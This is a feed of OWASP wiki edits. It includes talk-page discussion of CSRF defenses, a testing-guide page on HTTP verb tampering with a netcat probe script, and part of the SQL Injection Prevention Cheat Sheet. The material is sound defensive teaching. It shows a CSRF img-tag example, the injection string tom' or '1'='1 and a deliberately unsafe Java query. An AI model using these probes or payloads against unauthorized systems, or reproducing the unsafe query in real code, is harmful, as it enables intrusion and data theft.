:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== The link-presenter host with regard to the Referer/Origin check ==&lt;br /&gt;
&lt;br /&gt;
I heard arguments for extending the whitelist to sites potentially hosting the link to the application that is protected with a Referer/Origin check.  This can be a slippery slope as sending a link through email may end up being hosted by a huge number of webmail providers.  Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API.  That is,&lt;br /&gt;
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately, &lt;br /&gt;
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers.  Therefore,&lt;br /&gt;
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX  Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection.  Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX.  The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts.  ~~----&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245059</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245059"/>
				<updated>2018-11-12T22:27:35Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* The link host argument against the Referer/Origin check */ new section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== The link host argument against the Referer/Origin check ==&lt;br /&gt;
&lt;br /&gt;
I heard arguments for extending the whitelist to sites potentially hosting the link to the application that is protected with a Referer/Origin check.  This can be a slippery slope as sending a link through email may end up being hosted by a huge number of webmail providers.  Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API.  That is,&lt;br /&gt;
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately, &lt;br /&gt;
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers.  Therefore,&lt;br /&gt;
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX  Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection.  Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX.  The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts.  ~~----&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=240981</id>
		<title>Testing for HTTP Verb Tampering (OTG-INPVAL-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=240981"/>
				<updated>2018-05-27T00:42:57Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: recover the link's PDF sub-link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
The HTTP specification includes request methods other than the standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers. Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS&lt;br /&gt;
GET&lt;br /&gt;
HEAD&lt;br /&gt;
POST&lt;br /&gt;
PUT&lt;br /&gt;
DELETE&lt;br /&gt;
TRACE&lt;br /&gt;
CONNECT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If enabled, the Web Distributed Authoring and Version (WebDAV) extensions [http://www.webdav.org/specs/rfc2518.html] [http://tools.ietf.org/html/rfc4918] permit several more HTTP methods:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PROPFIND&lt;br /&gt;
PROPPATCH&lt;br /&gt;
MKCOL&lt;br /&gt;
COPY&lt;br /&gt;
MOVE&lt;br /&gt;
LOCK&lt;br /&gt;
UNLOCK&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, most web applications only need to respond to GET and POST requests, providing user data in the URL query string or appended to the request respectively. The standard &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; style links trigger a GET request; form data submitted via &amp;lt;code&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/code&amp;gt; trigger POST requests. Forms defined without a method also send data via GET by default.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be called outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==How to Test==&lt;br /&gt;
&lt;br /&gt;
As the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Manual HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion. &lt;br /&gt;
&lt;br /&gt;
1. Crafting custom HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets &amp;lt;code&amp;gt;[ ]&amp;lt;/code&amp;gt; are contextual to your application. The empty newline at the end is required.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[METHOD] /[index.htm] HTTP/1.1&lt;br /&gt;
host: [www.example.com]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1.1 OPTIONS&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.2 GET&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.3 HEAD&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.4 POST&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.5 PUT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PUT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.6 DELETE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DELETE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.7 TRACE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TRACE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.8 CONNECT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONNECT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Sending HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):&lt;br /&gt;
&amp;lt;pre&amp;gt;nc www.example.com 80 &amp;lt; OPTIONS.http.txt&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3. Parsing HTTP responses&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure as the server is responding to methods/verbs that are unnecessary. These methods should be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
An example of a failed test (ie, the server supports OPTIONS despite no need for it):&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:OPTIONS_verb_tampering.png]]&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Automated HTTP verb tampering testing===&lt;br /&gt;
If you are able to analyze your application via simple HTTP status codes (200 OK, 501 Error, etc) - then the following bash script will test all available HTTP methods.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;&lt;br /&gt;
&lt;br /&gt;
do&lt;br /&gt;
printf &amp;quot;$webservmethod &amp;quot; ;&lt;br /&gt;
printf &amp;quot;$webservmethod / HTTP/1.1\nHost: $1\n\n&amp;quot; | nc -q 1 $1 80 | grep &amp;quot;HTTP/1.1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code copied verbatim from the Penetration Testing Lab blog [http://pentestlab.wordpress.com/2012/12/20/http-methods-identification/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Arshan Dabirsiaghi: “Bypassing URL Authentication and Authorization with HTTP Verb Tampering” - [http://web.archive.org/web/20170517030540/http://cdn2.hubspot.net/hub/315719/file-1344244110-pdf/download-files/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-verb-tampering]&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SQL_Injection_Prevention_Cheat_Sheet&amp;diff=237384</id>
		<title>SQL Injection Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SQL_Injection_Prevention_Cheat_Sheet&amp;diff=237384"/>
				<updated>2018-02-07T04:06:10Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Defense Option 4: Escaping All User-Supplied Input */ reflect absence of concrete codecs in the &amp;quot;active&amp;quot; ESAPI&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. [[SQL Injection]] attacks are unfortunately very common, and this is due to two factors:&lt;br /&gt;
&lt;br /&gt;
# the significant prevalence of SQL Injection vulnerabilities, and &lt;br /&gt;
# the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).&lt;br /&gt;
&lt;br /&gt;
It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.&lt;br /&gt;
&lt;br /&gt;
SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either:&lt;br /&gt;
a) stop writing dynamic queries; and/or&lt;br /&gt;
b) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.&lt;br /&gt;
&lt;br /&gt;
This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.&lt;br /&gt;
&lt;br /&gt;
Primary Defenses:&lt;br /&gt;
* '''Option 1: Use of Prepared Statements (with Parameterized Queries)'''&lt;br /&gt;
* '''Option 2: Use of Stored Procedures'''&lt;br /&gt;
* '''Option 3: White List Input Validation'''&lt;br /&gt;
* '''Option 4: Escaping All User Supplied Input'''&lt;br /&gt;
&lt;br /&gt;
Additional Defenses:&lt;br /&gt;
* '''Also: Enforcing Least Privilege'''&lt;br /&gt;
* '''Also: Performing White List Input Validation as a Secondary Defense'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
;Unsafe Example&lt;br /&gt;
&lt;br /&gt;
SQL injection flaws typically look like this:&lt;br /&gt;
&lt;br /&gt;
The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated “customerName” parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.&lt;br /&gt;
&lt;br /&gt;
  String query = &amp;quot;SELECT account_balance FROM user_data WHERE user_name = &amp;quot;&lt;br /&gt;
    + request.getParameter(&amp;quot;customerName&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  try {&lt;br /&gt;
  	Statement statement = connection.createStatement( … );&lt;br /&gt;
  	ResultSet results = statement.executeQuery( query );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
=Primary Defenses=&lt;br /&gt;
&lt;br /&gt;
==Defense Option 1: Prepared Statements (with Parameterized Queries)==&lt;br /&gt;
&lt;br /&gt;
The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.&lt;br /&gt;
&lt;br /&gt;
Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.&lt;br /&gt;
&lt;br /&gt;
Language specific recommendations:&lt;br /&gt;
* Java EE – use PreparedStatement() with bind variables&lt;br /&gt;
* .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables&lt;br /&gt;
* PHP – use PDO with strongly typed parameterized queries (using bindParam())&lt;br /&gt;
* Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)&lt;br /&gt;
* SQLite - use sqlite3_prepare() to create a [http://www.sqlite.org/c3ref/stmt.html statement object]&lt;br /&gt;
&lt;br /&gt;
In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.&lt;br /&gt;
&lt;br /&gt;
;Safe Java Prepared Statement Example	&lt;br /&gt;
&lt;br /&gt;
The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.&lt;br /&gt;
&lt;br /&gt;
  String custname = request.getParameter(&amp;quot;customerName&amp;quot;); // This should REALLY be validated too&lt;br /&gt;
  // perform input validation to detect attacks&lt;br /&gt;
  String query = &amp;quot;SELECT account_balance FROM user_data WHERE user_name = ? &amp;quot;;&lt;br /&gt;
  &lt;br /&gt;
  '''PreparedStatement pstmt = connection.prepareStatement( query );'''&lt;br /&gt;
  '''pstmt.setString( 1, custname); '''&lt;br /&gt;
  ResultSet results = pstmt.executeQuery( );&lt;br /&gt;
&lt;br /&gt;
;Safe C# .NET Prepared Statement Example	&lt;br /&gt;
&lt;br /&gt;
With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.&lt;br /&gt;
 &lt;br /&gt;
  String query = &lt;br /&gt;
  	 &amp;quot;SELECT account_balance FROM user_data WHERE user_name = ?&amp;quot;;&lt;br /&gt;
  try {&lt;br /&gt;
  	OleDbCommand command = new OleDbCommand(query, connection);&lt;br /&gt;
  	'''command.Parameters.Add(new OleDbParameter(&amp;quot;customerName&amp;quot;, CustomerName Name.Text));'''&lt;br /&gt;
  	OleDbDataReader reader = command.ExecuteReader();&lt;br /&gt;
  	// …&lt;br /&gt;
  } catch (OleDbException se) {&lt;br /&gt;
  	// error handling&lt;br /&gt;
  } &lt;br /&gt;
&lt;br /&gt;
We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the [http://www.hibernate.org/ Hibernate Query Language] (HQL) have the same type of injection problems (which we call [http://cwe.mitre.org/data/definitions/564.html HQL Injection]). HQL supports parameterized queries as well, so we can avoid this problem:&lt;br /&gt;
&lt;br /&gt;
;Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples	&lt;br /&gt;
&lt;br /&gt;
  First is an unsafe HQL Statement&lt;br /&gt;
  &lt;br /&gt;
  Query unsafeHQLQuery = session.createQuery(&amp;quot;from Inventory where productID='&amp;quot;+userSuppliedParameter+&amp;quot;'&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  Here is a safe version of the same query using named parameters&lt;br /&gt;
  &lt;br /&gt;
  Query safeHQLQuery = session.createQuery(&amp;quot;from Inventory where productID=:productid&amp;quot;);&lt;br /&gt;
  safeHQLQuery.setParameter(&amp;quot;productid&amp;quot;, userSuppliedParameter);&lt;br /&gt;
&lt;br /&gt;
For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl, see the [[Query Parameterization Cheat Sheet]] or http://bobby-tables.com/.&lt;br /&gt;
&lt;br /&gt;
Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.&lt;br /&gt;
&lt;br /&gt;
== Defense Option 2: Stored Procedures ==&lt;br /&gt;
 &lt;br /&gt;
Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely* which is the norm for most stored procedure languages. They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.&lt;br /&gt;
 	&lt;br /&gt;
&amp;amp;#42;Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of sp_execute, execute or exec within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.&lt;br /&gt;
 &lt;br /&gt;
